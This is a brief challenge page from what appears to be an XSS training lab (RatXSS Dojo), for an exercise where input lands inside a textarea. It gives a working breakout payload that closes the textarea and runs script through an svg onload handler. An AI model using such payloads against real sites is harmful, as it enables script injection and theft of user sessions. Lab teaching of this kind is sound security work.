C5 textarea RCDATA

Draft is pre-filled into a textarea.

Markup does not render inside <textarea> - close it first: </textarea><svg onload=alert(document.domain)>

RatXSS Dojo · HackXpert Coaching · The XSS Rat · authorized lab use only